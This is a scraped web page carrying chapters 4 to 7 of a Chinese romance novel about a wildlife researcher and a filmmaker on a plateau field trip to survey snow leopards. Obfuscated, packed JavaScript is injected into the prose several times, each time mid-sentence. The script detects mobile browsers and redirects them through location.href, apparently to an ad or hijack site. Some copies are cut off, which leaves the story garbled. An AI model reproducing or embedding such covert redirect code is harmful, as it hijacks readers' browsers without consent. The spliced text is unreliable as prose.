刘枫说:“厨房准备的肉可能不够,这些家伙正是半大小子吃坏老子的年纪,整天只吃面受不了的。” 章砺楚看了眼手机,没理:“行,反正到时你去报账。” 刘枫笑他:“你去不更快,财务的小雨就盼着你去呢。” “所以你去。” “啧,冷情的男人。” 调研团的几个男生被俩老师拉来当苦力,路过酸奶摊,周小舟停下,说想买酸奶带回去给大家吃。 刘枫担心不好提,老板说可以装箱帮送上车。 刘枫说那帮开个票。 周小舟说不用:“我来付。” “呀,周公子。”刘枫跟后边几个学生调侃:“还不谢谢周师兄。” 周小舟骄傲又谦虚摆摆手,转身给人发语音信息:“容元你别买酸奶啊,我买回去给大家尝。” 刘枫瞪眼转向章砺楚,想跟他分享八卦苗头,只见他冷着脸点手机,狠狠接收了一笔转账。 4. 第四章 能干的大人们在厨房准备晚餐,无用的大学生们四散躲懒。 高原的夕阳余晖比别处更持久,晚上七点多还是柔和的最佳拍摄光,Aha团队决定航拍一段大景,今天跟章砺楚的研究生们混熟了点,便让他们帮忙把本科生师弟师妹们拉来当模特。 当模特,还是无人机的模特,小孩们群起响应,不一会儿就聚集到楼下来。店主马大叔打开物资仓库的门,放人进去挑自己码数的衣服,不忘提醒: “爱护衣服啊,这些以后还有巡护员和其他过来的研究员要用的,珍惜公共资源啊。” 学生们纷纷应下。 在大家试衣服的时候,容元和马大叔聊了会儿。 马大叔跟保护中心合作几年,自己也成了野保志愿者,是真心热爱这份事业,平时中心缺人手或是遇上急事了,他都义不容辞,救助过猞猁、荒漠猫、高山秃鹫等不胜枚举。 “野生动物园里那只老雪豹看了吧?当年还是我一起送进去的呢。” “厉害。”容元抖出大拇指给够情绪价值,又问,“那过来的志愿者和研究员多吗,你这店空着的时候怎么办?” “真空了我就去南边打工。不过这两年几乎没有空着的时候!我们国家的野生动物保护这方面做得越来越好了。像章老师啊,都来过好多次了,他还不是老师的时候就来过嘞,他那个房间自己带了台灯和桌椅……我们以前大堂没有沙发,是他发起别人捐的二手家具,很好的小伙子,又帅。” “……” 原来是别人闲置的家具,难怪这么混合风。 哦,昨晚路过那间亮台灯的,还真是他房间。她怎么,一猜就中呢。 天光渐淡,风平添凉意,转瞬就带走炎日晒出的燥热。 容元把纷飞的发拨去耳后,抿了个笑:“他这么好,有姑娘追他吗?” 马大叔嘿嘿笑开,小麦色的皮肤绽开好多褶子。其实他年纪也才四十来岁,高强度紫外线下的风吹日晒让他的皮肤老化得有些快,但他目光明亮,精力充沛,身体是挺拔收紧的,不像大城市里的好多中年男人,肚皮也松了,精神也散了。 他没给容元答案,反像是逗她:“你自己问他咯!” 容元发现了,这边的人,都自带一种内收的质朴,夸就纯粹是夸,不会多嘴插手他人的私事。 这可能是他们广阔的土地和几千年游牧生活所打造的文化基因,天生地养,上信仰天地神明,下则依靠劳动和牛羊。他人?他人就是他人,是自己世界的边界之外。 所以章砺楚会喜欢这里吧。他内敛克制,骨子里就孤高,不想与人有过深的纠缠,对山川草木鸟兽都有情,唯独对人无心。 无人机在昆虫振翅般的响动中升到半空,大阳调整着拍摄视角。 一群穿着荧光橙色登山服的二十来岁年轻人们鱼贯走进画面中,他们或说笑或沉默,皆坚定地步履向前,目向远方。 视角缓缓升高,草地的绿色铺向连绵的山峰,吃草的牛羊变成四散的黑点,长长的灰白色公路好像从历史中来,驶向荒漠、雪山,驶去无尽的尽头。 高处的俯瞰中,只有这群年轻人是动态的,他们每个人也不过是一个点,但他们聚在一起,连成一片,就像一团不灭的火焰。 有个女生指着天空一处,说:“欸?原来高原的夕阳可以直视!” 那里,一轮低像素的橘红色悠悠挂在山头。 大伙儿一愣,很快有人发现了:“这个是月亮啦!太阳还在那边!” 大家转而望过去,不禁眯起眼睛。 还真是。 太阳未落,月已升起。 “日月同辉!” 听取哇声一片。 于是镜头里那团火迎风摇曳,闪耀不灭。 天空成暗蓝渐变时,大家嬉闹着跑回来。 “每次带队出来都觉得自己既年轻又老。”俩老师帮厨师备完菜也没事做,刘枫倚在门边感叹。 章砺楚站得直,从不东挨西倒,他一手抄兜,也跟刘枫一样,目光巡游在那堆蹦跶哒的荧光橙之间。 刘枫不在意章砺楚回不回,反正认识这么多年了,他这人就这样,没点热乎劲儿,除去专业和工作的事,对什么都挺冷淡。她和欧阳亚还给他起了个别名,叫黄果冷杉,就是中国目前的最高树,又高又冷又直,又是木,跟他自己起的名也契合。 她继续发表感言:“刚开始Aha他们说要加入,我还有顾虑,现在看来还蛮好的,团魂就出来了。‘火’这个项目有点意思。” “火?”章砺楚重复了一遍这个字,若有所思,轻嗤:“挺适合的。” 没正型,不安定,说着就着,说灭就灭。 确实适合她。 刘枫疑惑,不知为何好像他说着赞同的话但是又像批判? 一趟拍摄让大家都聊开了。研究生团队除了周小舟,佳佳也是研二的,其余三个都是研一的,一个女生小钟,俩男生阿东和小梁。 小钟有点胖乎乎,长得像个福娃,性格也大大咧咧的。她们几个女生拿小凳坐在仓库门口叠衣服,小钟突然问容元:“容元姐,你多高呀?” “166,怎么了?” 小钟说:“是嘛,我165,我觉得走路的时候你跟我差不多呀,怎么坐下来你看着低这么多?” “呃……”容元望着小钟明显高出自己的圆脑袋,陷入了沉默。 佳佳在旁抿嘴笑,摸摸小钟的脑袋:“亲爱的,因为你的腰比较长。” “啊?”小钟一怔,然后反应过来这是在说她腿比较短,“啊啊啊啊啊啊啊啊啊。” 大伙都被她的反应逗笑,佳佳安慰她:“没事儿,你都165,还挺高的了,我才159呢。” 小钟转过去,靠在学姐温暖的香肩嘤嘤:“哇,这个角度看,容元姐的腿真长!” 容元乐了,伸手去勾勾她软乎的下巴:“但是宝贝你最可爱了。” 登山服和防晒帽留了九套出来做之后的拍摄备用,其余收拾进包装袋里放回仓库架。 男生们在厨房那头帮忙端菜上桌,周小舟拿出他冰镇过的一人一份老酸奶叠放在边上,招呼大家自己拿,然后跑过去叫仓库那边的女生们吃饭。 民宿没那么多讲究,厨房跟餐厅是连在一起的,就二十多平米的地方,摆四张小圆桌,每桌能坐五、六个人,正好容纳他们。 第一次正式坐下来一块儿吃饭,许一斌跟刘枫来了一套互推流程,最终两人一块儿坐下。大阳乖巧地挨着许一斌坐下。 刘枫安排章砺楚:“你坐那边去,拉高他们的平均年龄。” 仓库组晚两步回来,位置已经给安排好了。本科生们自己坐满两桌,就章砺楚这独占一桌,看起来十分生人勿近。 没事,周小舟很快拉着几个女生坐满这一桌,还殷勤地给这一桌拿了五份酸奶,自己落座在容元旁边,跟她说:“这边的菜比较硬,吃酸奶好消化。” 佳佳和小钟对视一眼。 周小舟长得还可以,肤色健康,比较会打扮,有点运动潮男的意思,又不至于让近身者犯风湿那么潮,性格也不错,没跟谁闹过红脸,挺会来事儿的。追女生也是,硕果累累。 容元马上说:“谢谢,你好贴心。” 正坐她对面的章砺楚别开眼,懒得看她那略显浮夸又顾盼神飞的笑容。 容元的社交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,那可能你年纪小,他已经毕业了吧。”这话题就断了。 这边小钟和佳佳小声聊着,见容元和刘枫老师聊完,就问她:“容元,我们都觉得你的名字很特别,写起来又好看,你爸妈取的时候有什么说法吗?” “啊~”说到这个啊,容元摸着下巴,给她们解释道:“元呢,取自:一元复始,万象更新。” 听着意蕴深长的,佳佳和小钟十分认可地点点头。 这时,有人冷冷淡淡地煞风景:“不是因为生日是元旦么?” “……” “……” “???” 说话的是谁??? 学生们震惊地望向他们高冷寡言的导儿,很难从他古井无波的脸上分辨出这是攻击是讽刺还是普通善意的调侃。 容元顿了一会儿,直勾勾看向对面的人,问:“你怎么知道我生日是元旦。” 有本事,你就自爆。 大不了,一起社死啊。 佳佳和小钟不住眯了眯眼,怕被噼里啪啦的火花误伤。 “我看到你微信号后缀0101,不是生日么?”他耍的好一手四两拨千斤,“刘枫老师微信号后缀的0310就是生日。” 没想到被牵扯的刘枫:“谢谢你啊记得这么清楚。” 容元一笑,大家以为她要给这场交锋画下一个句号,没想到她转向不想浪费粮食,正在残渣寻宝的马大叔。 “马叔,章老师这么当众拆台,也叫周到?” 马叔差点噎到:“呃,我普通话不好,听不太懂。” 5. 第五章 “你知道我为什么叫容元吗?” 她食量不大,很快就饱了,他在她面前又吃得比平时慢些,所以以前经常就是她欣赏着他的吃相,一边招他说话,以便能更多欣赏他的吃相。 他对自己的餐桌礼仪有要求,不会含着食物说话,但会把目光全数给她。 他睫毛纤长,把一双眼睛藏在深处,而瞳仁颜色偏浅,像琥珀或者黄宝石,是那么惹人注意。 静而不藏锋,锐而不失和。 容元每当看到这双眼,就充满了灵感。 “我一般跟别人说的都是,取自‘一元复始,万象更新’,寓意我总是能元气满满,欣欣向荣。” 她可能是嫌食堂桌子不干净,双手撑在膝盖上,语气神神秘秘,自己也不自觉跟着压低肩膀。 好像猎食者捕猎的预备姿态。 “但其实……是我爸妈偷懒,我生在元旦,他们就抠了个‘元’。每次我闹,他们就说,‘元还不好,你想叫容旦吗?’” 说完,她撇撇嘴,大眼睛拉下来,人往后一靠,好像把自己说生气了。 章砺楚嘴巴得了闲,正想告诉她,元字很好,你也是“一元复始,万象更新”的具象化。不想这人不讲道理,自己惹自己生气,还要朝他撒气。 “章砺楚,你怎么不吃青菜的?猪排、烤鸭、西红柿炒蛋,一点都不注重荤素搭配,看着就噎住了。” “这就是招牌上的搭配,而且,西红柿也是蔬菜。” 她不管:“咦~好腻。” 嗯,不叫他师兄、学长了,还开始嫌弃了。 章砺楚下巴点了点她五颜六色都剩一些的餐盘:“你荤素搭配,你吃青菜,然后剩这么多。” “我也不想浪费,是大叔给得太多了!”她眼轱辘一转,想到了个好主意,“以后我们就分一下,我不用浪费食物,你也顿顿有青菜。” 以后。 这人真是每句话都下钩子。 还是快些吃完,不然还不知道还要被她骗着说什么。 “章砺楚,那你为什么叫这个名字呀?”她脑瓜子在他面前估计就没休息过,又拿出天真好奇的神态,巴巴地看着他。 手机屏幕亮了亮,是欧阳亚看到他特地发来调侃,为了让他一眼就看完还不加标点。 欧冠:我的好师弟怎么还没吃完饭里有钻石矿吗 挺酸。 章砺楚告诉容元:“跟你的情况差不多,父母取名的时候没太多深意。我妈很喜欢‘楚’字,自己是懒得改名了,就用在我这,又担心太像女孩儿名,就让我爸找个看着坚硬一点的字,我爸最后选了‘砺’。” 容元听着,脑袋一点一点,小鸊鷉喝水似的,有点呆呆的,好像放空了在想什么。这是她难得显得非常纯良的时候,巴掌大的脸,皮肤近看也很平滑饱满,眼型不笑的时候偏圆,嘴唇涂成亮亮的红,看着类似黑环罂粟花瓣的质感。 漂亮得像个洋娃娃。 “磨砺、砥砺,坚是坚了,但是看起来有点辛苦。” 她想好了什么,眸光凝向他,神情是少见的平淡。可正因为平淡,他更清晰地捕捉到话语中流淌出的最细腻的情绪。 若干年后,他还会为这瞬间的动容所震撼,不仅是她的,还有自己的。 她说:“我想章砺楚过轻松愉快的一生,如果注定会有一点辛苦,那希望我能带给他愉快。” * 从车上下来步行一公里后,大家开始感到辛苦。 青源市区是整个玉西省海拔最低的一片区域,两千出头,所以头两天除了干燥风大,他们对高原环境的艰苦还没有切实的体感,直到手中的GPS显示海拔已经到达3500米。 “老师,我好像有点喘不上气,头也有点痛。”研一的阿东最先难抵不适。 “吸氧缓解一下,看看适应情况。”章砺楚率先把背包放下,示意大家原地休息。 为了最大程度地保护生态,他们的车子停在路基下的一片空地上,从公路徒步走进山里来。 “明明看着就一两公里,怎么现在走了一公里,看着还是一两公里。”大阳也有点疲惫,说话都没平时响亮。 佳佳说:“这就是望山跑死马。” 他们走的水平距离不算远,但路径一直在抬高。从路边绿茵茵的草地来到光秃秃的荒漠,再往前就是横跨西北的禾迦山,白了头座座山峰上是千万年不化的积雪,这里是国家一级保护野生动物雪豹的活动区。 他们之后几日会在沿着山脉的几个区域做考察。 除了阿东,其余人状态还行。小钟他们几个研一生第一次过来这边做野外,正凑在一块儿叨咕,或摸摸石头和土,或拍拍稀疏但坚韧的沙鞭草,观察有没有留下什么动物的痕迹。 Aha组适时开启拍摄,录下许一斌一人跋涉在荒野之中的镜头。为了不暴露具体点位,无人机只能低飞取景。 大阳无不可惜:“这么丰富的地貌,飞起来一定很壮观。” 容元出主意:“你可以飞起来自己看看感受一下,不拍就行嘛。” 大阳眼睛一亮,很是认同:“嗯哼?!” 容元跟他挤眉毛:“嗯哼!” “喂你俩!拍好了没啊?”许一斌在远处叉腰吼。 容元招招手:“有了有了,回来吧!” 章砺楚放下望远镜,交给周小舟,低声交代:“都看看吧。” 没有主语,周小舟略一思索,积极应下:“好嘞!” 其实他们准备了两副望远镜,周小舟把自己那副给了研一的师弟师妹们,再去把另一副交给容元他们。 “在这么大的野外,用望远镜很爽,试试,跟无人机是很不一样的视角。” 说完,他就被无人机吸引了,凑过去跟大阳一块儿看遥控屏,俩人在那不停低呼。 “呜呼~” “帅啊!” 章砺楚过去询问阿东情况,他吸氧平复了会儿,看起来精神好点了。 “老师,我是不是耽误大家时间了?” “没事,这种情况都是预算在内的,野外情况复杂,安全第一。” 跟学生说着话,视线却被别处吸引。 那人由来古灵精怪,今天大家出野外都是戴了“火”的迷彩防晒帽,她自己戴的是那天在集市新买的民族锅盔帽,头顶要比别人都大一圈,结结实实的帽檐像一把小伞,神里神气的。防晒是防晒了,就是不知道妨不妨碍视线。 容元在看山下,他们刚才途经的小片草场,在他们离开后有几只小动物冒出来蹦跶,她不认识,想问问周小舟那是不是高原鼠兔。 “是鼠兔。”有人默默走近,不用望远镜也能知道她在看什么,沉冷的声音毫无情感地讲解着:“不过不算多,这片区域适合猛禽栖息,它们会控制鼠兔的数量。” 话音刚落,容元就从望远镜里见到一只大鸟从天而降叼走一只发呆鼠兔,它周围的伙伴四散逃进洞穴,草地上又恢复了平静。 “……” 什么恶魔低语。 容元把望远镜塞他手里,白他一眼,咬着牙低声说:“别套近乎。” 章砺楚顿了片晌,再开口时若无其事。 “阿东休息好了,出发吧大家。” 容元低头跟大阳把大设备装回包里,心里在冷嘲,男人还是技高一筹,发生什么都能不往心里去,没有心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129097|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人无往不利,只有在乎的人才会输。 周小舟留一只耳朵旁听了这一幕,他悟了,他后怕了,他就说为什么他导儿那天提的大帽子出现在容元的头上,他差点就做了自己毕业路上的拦路虎。还好他够醒目,万幸万幸。 但没料到的是,因为刚才跟大阳沉迷飞无人机飞晕了,略有高原野外经验的周小舟不久后也开始高反。 今日成果不佳。 这个区域,年初时章砺楚和周小舟来过一次,当时一共布设了五台红外摄像机,如今只剩三台。 见到他们低落的神态,容元也感到十分可惜,辛辛苦苦爬上来又等了几个月的成果,就这么没了。 她忿忿地不解:“这个相机也卖不了多少钱吧,他们偷了能干嘛?” 章砺楚低着头给红外换卡、换电池,电池槽拉开一倒,八颗5号电池哗啦啦落进他宽大的手掌。 小钟说:“不一定是偷了去卖,也可能是盗猎分子被拍到才破坏掉。” “希望回收的卡有拍到雪豹吧。”佳佳手拧铁丝,用作固定相机,“野外红外的回收率基本就百分之七八十,在川滇地区可能丢失情况更严重。” 山风冰冷刺骨,一场大雨伴着冰雹打断了他们的进程。 容元今天戴这顶锅盔帽是歪打正着,毛毡材质比他们的防晒帽保暖抗雹打,最后除了章砺楚的脑袋可能比别人硬一点,就剩她还没事人一样,其他人要么因为高反,要么因为被淋被打,一个个都蔫儿了吧唧。 章砺楚决定提前结束今天的工作。 返程有一个问题。 他们两个团队是分开两辆车来的,Aha这边来时是许一斌开的车,但许一斌现在有点感冒症状,精神不济。 章砺楚提议:“要么等周小舟吸氧恢复一会儿,他来帮你们开车?他有在这边驾驶过的经验。” 大家淋雨过后看着都有点挨不住这海拔,容元说:“直接走吧,我能开,今天这条路路况不算复杂。” 一听就是新手的语气。 章砺楚顾虑得更多:“要开三个小时,路上落差很大。不要逞强。” 容元皱了皱眉,但没跟他对抗,提出方案:“周小舟上我们车,我应付不来的话他接手。” 对视片刻,章砺楚说:“行。” 大阳望望天,觉得自己好多余。 冰雹雨把众人打趴,第二天他们还是昏沉的状态,章砺楚只能调整安排,让他们休整一日。 但是有个事情他心里挂着。昨天回来路上见到一片草场有好些裸土,边上有几根倒了的招鹰架,他想去修好。 刘枫真会偷懒,把学生们交给动物园那边,自己抱着电脑窝在大堂沙发看论文。努力起床但是最终又瘫在沙发上的周小舟擦着鼻涕,跟刘枫老师一块讨论文章。 “不是什么新鲜观点。”章砺楚说:“招鹰架没修过吧?谁跟我去?” 他们的工作准则,出外勤至少要两人结伴。 刘枫笑眯眯看向他:“容元啊,她没感冒。” “……” 章砺楚端着泽大发的校庆纪念水杯,沉默地喝了一口,又问了一遍:“谁跟我去修招鹰架?” “容元啊。”许一斌拎着她的保温杯从走廊出来,悠悠接话。 周小舟松开了差点支棱起来的双腿,安心休养。 在许一斌身后,大阳露出了圆圆的脑袋,对着章砺楚用力点头,点得头晕,手扒到许一斌肩膀借力。许一斌低声骂他。 然后,章砺楚看到了大阳身后的人,她缓缓停在台阶边上,他们在与那晚相同的位置。 视线交错的一刻,他们都觉得在对方脸上看到了自己的表情。 6. 第六章 “能接手机放音乐吗?” “能收听电台,听吗?” “那不听。” 车子是普通的七座面包车,有些年头了,皮革味很重,容元给车窗摇开一指的缝,风就在那里嚎叫,有点儿打破两人独处的私密氛围的意思。 挺狠的两个人,差不多一个小时的车程,愣是没再说一句话。 到了地方,容元眼睛一下就睁大了。 斑秃的草地上咻咻过着好多土灰色的小飞影,等车停稳,他们一时没动,就见那些小家伙们探头探脑从洞里钻出来,呆呆立着晒太阳,或者趴下身子吃草。 跟看动画片似的。 容元不禁轻呼。 可惜了,应该带上长焦三脚架过来拍摄的。 “后面我们勘察会路过更好的草场,那里应该更好拍。” 如果是别人说这话,容元会觉得对方善解人意,但说话人是章砺楚,容元就有点被人看穿的不爽。 她敛起表情,问:“招鹰架在哪?” 章砺楚没马上答,目视着前方。 “就那。” 也不知道指哪。 下车后,容元跟在章砺楚后头,悄咪咪用手机放大拍了好多张“草地杀手”的罪证,可惜像素有限,没几张满意的,容元就踩着地上的影子泄愤。 他人高骨架大,还左背几根民宿仓库薅来的长条木材,右提一袋工具包,影子宽大得够把她整个人笼罩在里面。 她踩他脑袋乐此不疲,某一刻他突然停下。 容元心惊肉跳地刹住车,差点做出投怀送抱之举。然而紧张的深呼吸,让他身上清冽的香气盈满鼻腔。 老在山里跑的野人,怎么总是这么香? “就这几根。” 野人说话的时候没回身,容元觉得那声音好像从岿然的山中深处传来,醇正的低频直抵心扉。 他走向前去,容元的视野霎时开阔。 前方是一段长长的笔直的公路,穿越无穷无尽的青山白云和蓝天。 道路左侧是大片平铺的草地,只是秃得更厉害了,草地内有一顶半塌的白色帐篷,路边支着一排路灯一样的长杆,有几根从中间折断了。 看来是个因为草场退化被暂时遗弃的牧场。 高原的太阳从上午开始就炽烈。 容元半眯起眼,觉得头上的鸭舌帽不如某些影子管用。 这批招鹰架都是牧民自己做的,并不精细,是半截钢管插根木条,在顶部再钉一根短梁让鹰鸟停驻。用的木材质量一般,风吹日晒无人维护,用不了多久就折了。 章砺楚把插在钢管里的桩子撬出来,再换上新的木条。 容元的作用体现在,在章砺楚钉钉子固定木桩的时候,她帮忙扶稳木条。 男人半跪在前方,他没戴帽子,容元不经意垂眸,视线就从他挺直的鼻梁滑滑梯一样溜了下去。他支撑腿的膝盖低在裸露的泥地上,因为发力而绷起的腿肌撑满了宽松的工装裤。 ……男人的肌肉会随着年龄增长持续发育吗? 也可能因为以前在学校的时候只见过他书卷气的一面,没想到承载那样淡泊气质的,是这样一副身躯。 容元问他:“这些招鹰架,也是用来‘控制’鼠兔数量的?” “对。鼠兔繁育很快,附近天敌少,把这片草皮都啃坏了。” “可是如果招鹰架管用,牧民为什么还要搬走?” “因为放牧对草场的破坏同样严重,他们迁移也是为了让这片草地休养生息。如果再有猛禽帮忙控制鼠兔的数量,这片地会恢复得快些。” 说着,他抬头看了容元一眼:“‘控制’不是残忍,是为了维护生态平衡。” 是在解释昨天令容元变脸的那一幕。 这自下而上的一眼看得容元心里火辣辣的。 修理好三根鹰架,温度也上去了。 不同于章砺楚一件短袖的清爽,容元还套了件单层冲锋衣,光站着就冒汗。 她脱了外套随手束在腰间,两手给自己扇着风:“温差也太大,昨天在山里那么冷的。” 她里头穿的是一件墨蓝色短袖,应该是瑜伽服,极贴肤,把她身形勾勒得细致。她是纤细而圆润的体型,圆的圆,细的细,手脚修长,露出来的肩颈和手臂都白得跟牛奶似的,都有点反光了。 章砺楚掉开眼睛:“热归热,穿着能防晒,别小看这里的太阳。” “不就百来米。”容元不以为意,伸直手臂给他展示,“我出来前都涂过防晒了。你自己穿短袖还不戴帽子,还说我。” 章砺楚不由得屏息,加快了步伐。 “我出野外也会涂防晒,男人糙点也没什么。” 那涂了防晒还算不算糙?章教授这话好没逻辑。 容元在后面偷偷给他做了个鬼脸。 没想到回程还有别的收获,不过这收获主要是对于容元来说的。 “那是什么?!” 章砺楚降下速度找地方停车,容元就跟着他视线找到了问题所在。 在另一个牧场的围边铁丝网上挂着一只屁股朝天的像驴一样的动物,看起来是翻越围栏的时候蹄子被勾住了。 “是藏原羚。”章砺楚下车去后座,边选工具边跟她说。 “嗯?跟藏羚羊有什么区别?” “区别就是,”章砺楚合上车门,“藏原羚有白屁股。” “白屁股?” 容元一脸好奇两眼放光。 章砺楚走来她这边,一个大帽子扣在她的鸭舌帽上面,她的肩膀手臂都能勉强遮住。茫然仰起的脸蛋素白,干净的眼睛望向他。 原来是长眼睛吗?像赤狐。 “嗯,去拍了发群里给他们看吧。” 好炫耀的语气哦。 容元笑起来,小跑紧跟大步流星的章老师。 走近了发现小家伙真可怜,其实整个身体都越过去了,就是两只后蹄被铁丝绞住,越挣扎铁丝缠得越乱,只能脸朝地倒跪,呵哧呵哧地发抖。 “好可怜……”又好可爱,土狗一样的棕黄色毛毛,屁股却是白毛形成了一个大爱心,容元对着它的心形白屁股一顿狂拍,“它们不能绕路走吗?” “可能是被追赶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129098|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章砺楚看这藏原羚活力还行,腿也没受伤,就不急着解救。 “被谁追赶?” 容元蹲下,找了个角度拍它的角和大眼睛,拍着又觉得真是太可怜了,于是催章砺楚:“你快救它呀!” 章砺楚:“……” “你拍完了?” “差不多,再录个你解开它的视频。” “那你站起来,离它的腿远点。” 容元依言,退了两步,摄像头对准。 章砺楚侧身,那钳子钳紧那坨铁丝,用力拧了几下,那白屁股的两条后腿找到了感觉,猛地一尥,抖抖嗖嗖站起来飞走了。 整个过程就十秒钟。 “……它跑这么快?”容元瞠目。 “能达到80码。” 那白屁股跑着跑着,还向上蹦了一下,跟狍子似的。 她又笑了。 看来今天带她出来,挺正确。 章砺楚问:“拍得怎么样,我看看?” “还行吧?我尽量没拍到你脸,可能露了一点,如果我们要发的话会帮你找个素材挡脸的。”说着,容元把手机屏幕转向他那边,他自然而然接过去。 有了参照物,他手骨的修美就无限放大。 容元盯着他修剪得圆润整齐的指甲盖,就觉得那手肯定也有淡淡的皂香,说不定,也会沾到她的手机壳上? 一抬眼,容元下意识屏息一瞬。 原来不是通感,而是他们又处在气息交错的距离之内。 印象中,从未在其他哪个人身上闻到过这样舒适的香气,也不是香水味。 他看她的拍摄成果看得认真,容元的视线便肆无忌惮了。 强烈的光线把他照得一览无余,容元发现了更多的细节。 除了棱角分明的骨相,长长的睫毛,柔软但经常严肃抿着的嘴唇,他生来细腻白皙的皮肤上,有了淡淡的晒斑出现在眼下、鼻背,陡坡一样的鼻背下,细微的干纹、毛孔都不做掩藏。 西北苍劲的风渗透了他,他是碧蓝万顷的天,也是丰美的草场,孤凉的裸岩。 容元仿佛回到那年在学校文化节的篝火晚宴上,火光中初见他的恍惚,心跳鼓动耳膜。 清晰真实的纹理和瑕疵,竟也这样迷人。 容元还看到,他喉间锋利的喉结,缓慢地上下滑了滑。 “看什么?”男人的声音好像格外干哑。 比起头顶的炎炎烈日,章砺楚觉得这人的目光才会把他照脱水。 本不想这样问,紧绷的声线多少有泄露情绪的风险。但怔忪间他心生执念,非想知道这灼热目光的来由,好借此破除迷津。 “章砺楚。” 章砺楚心中登时一震,这是重遇以来她第一次直呼他名字。 只见容元慢悠悠抬高眼皮跟他对视,帽子荫蔽下一张清凉娇俏的面孔,尽管作出真诚之态也显出几分漫不经心。 “你只涂防晒不涂保湿吗?脸和嘴巴都起皮了。” “……” 对,就是这样,他就不该有任何期待。 所以也不必为当初遗憾。 7. 第七章 “你还没说,藏原羚是被谁追赶?”回到车上,容元给群里发着刚拍的东西,仍然心系白屁股。 “以它为食谱的猎食者,大概率是狼。” “狼?不远处就是牧民的羊群,所以,狼也会去牧民家里吃羊?” 问完马上觉得自己傻,自古以来狼就是吃羊的,只是亲眼见到了放牧的艰苦环境,容元自动代入了牧民视角,很是心酸。 “嗯,这样的情况不少。”章砺楚并没有觉得她的问题傻,解释起来温和耐心,“逐水草而居,会面临各种自然情况和人兽冲突,损耗是不可避免的。不过,现在有政策可以让牧民申请损失补贴。” 他有心说乐观的一面,容元觉得自己一厢情愿的共情或许过于幼稚,但在这样广阔的土地和让一切无所遁形的日头之下,她不免产生了关于传统与现代、自然与科技等议题的思考。 她是一个被现代化了的平凡人类,自认脆弱,无法经营这样的原始的、既依赖又对抗自然的生活,所以会发出狭隘之问。 “过着这样艰苦甚至有点危险的生活,他们会幸福吗?” “也许会的。”章砺楚的语气稀松平常,像是,他自己已经思考过许多回,“因为有四季赠予的轨迹。” 容元定定地看着前方,延绵无尽的景色,好像只要一直开下去就好。 “内心有信仰,前路有方向,是否就能抵消躯壳之苦?” 她又想到自己,身在最发达、条件最便利的大都市里,享用着科技发展的成果,难道她就没有思想上的困苦了吗? 生命的苦大抵是无法消除的。 “我信众生皆苦。” 容元不由得看住他,因当下的共鸣感到些许振奋。 他也偏头与她相视片刻,没什么情绪,但是就是这种淡然,轻飘飘就接住了她突如其来的抽象与煽情。 他接着道:“但生命自有其张力,纵苦亦乐。” 艳阳烈烈,远山覆雪白头。 “章砺楚。”她忽然又这样叫他。 “嗯。” “我想开窗。” 来时她想开窗就自己开了,也没问他,所以她的意思是要他这边也开。 他单手扶着方向盘,一边摇低车窗,问她:“开多大?一半?” 容元点头:“嗯!” 两边窗一对流,容元头上被章砺楚套的第二顶帽马上被吹飞,章砺楚眼疾手快,抬手就抓住了扔回后面。 容元头发打在脸上还咯咯笑,心境无比旷朗。 有些事也愿意说了。 “章砺楚,昨天我坚持我来开车不是因为对你有意见所以情绪用事,我是看到他们状态都不好,所以想快点回来。” “嗯。”章砺楚说,“那我向你道歉,不该说你是逞强。” “好,我接受你的道歉。”容元语气轻快,在群里跟他们插科打诨,一边问章砺楚:“你急着回去吗?” 手指不自觉摩挲着方向盘,章砺楚慢声道:“暂时,没有急事要忙。怎么了?” “那我想去镇上给大家买奶茶。” “好。” “小钟说他们在晒样本,我觉得应该挺热啊啊啊啊啊啊啊啊~~~” 说着,容元突然变了调爆出一阵尖叫。 章砺楚好像没被她面红耳赤的发疯状惊到,挺从容地问:“怎么了?” 容元捂着嘴呜呜:“木木发新歌了——” “嗯……你喜欢的那个石木?” 容元眨巴着眼感动望向他:“你还记得他!” 章砺楚微微一颔:“没有接触过别的喜欢古风歌手的朋友,所以有印象。” 毕竟她当初天天泡着章砺楚,还跟他介绍她有多喜欢石木的声音,她说这也是她的爱好之一。 容元感动地点点头。 “还很喜欢他吗?” 容元又点点头。 她看了章砺楚几眼,酝酿了一会儿,声音恢复了自然,她清了清嗓,挺正式的。 “章砺楚,以后,我们就正常相处吧。以前的事,都过去了。” 章砺楚哑然。 没想到,这话是由她说出。 刚见面那晚,他就是在想这件事,神思不定,才到大堂吹风静心。 他本着示好的心,既然知道她心中别扭,他比她年长,就应该主动放下芥蒂,表达友善。不想大失水准,昏招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 